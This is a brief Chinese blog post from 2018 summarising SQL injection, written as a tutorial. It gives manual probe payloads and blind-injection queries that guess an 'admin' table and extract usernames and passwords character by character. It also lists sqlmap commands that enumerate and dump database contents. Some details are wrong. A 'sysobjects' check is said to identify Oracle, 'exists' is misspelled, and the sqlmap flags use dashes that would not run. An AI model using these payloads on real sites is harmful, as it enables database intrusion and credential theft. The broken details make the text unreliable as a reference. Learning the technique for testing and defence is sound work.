sql注入簡單總結

鈔sir發表於2018-12-02

Sql注入的總結

1.什麼是sql:

SQLstructured query language),即結構化查詢語言,是關聯式資料庫的標準語言,SQL是一個通用的、功能強大的關聯式資料庫語言,但其功能並不僅僅是查詢。

2.什麼是sql注入?

所謂SQL隱碼攻擊,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令。簡單來說,SQL隱碼攻擊就是一種通過操作輸入(可以是表單,可以是get請求,也可以是POST請求等)來插入或修改後臺SQL語句達到程式碼執行從而進行攻擊的技術,sql注入一般存在於url為’’www.xxxx/xx.asp?id=數字’’的地方。

3.手工判斷sql注入漏洞:

加單引號:asp?id=00’報錯

加and 1=1:asp?id=00 and 1=1 返回正常頁面

加and 1=2:asp?id=00 and 1=2 返回錯誤頁面

4.注入基本流程方法:

1).判斷資料庫型別;

and exsits (select * from msysobjects)>0

返回正常說明是----access資料庫

and exsits (select * from sysobjects)>0

返回正常說明是----Oracle資料庫

但是具體的還是要看實際

2).猜解表名;and exists (select * from admin)

3).猜解列名;and exists(select username from admin)

4).猜解列的內容。

判斷使用者名稱的長度

and (select top 1 len(username) from admin)>5

猜解使用者名稱和密碼

and (select top 1 asc(mid(username,1,1)) from admin)>100

4利用sqlmap進行注入:

先判斷是否有注入點:sqlmap  -u “url”

1:判斷資料庫名:sqlmap  -u “url”—dbs

2:猜解表名:sqlmap  -u “url”-D 資料庫名 –tables

 

3:猜解列名:sqlmap - u “url”-D 資料庫名 –T 表名 –columns

 

4:猜解內容:sqlmap - u “url”-D 資料庫名 –T 表名 –C “列名” --dump

 

相關文章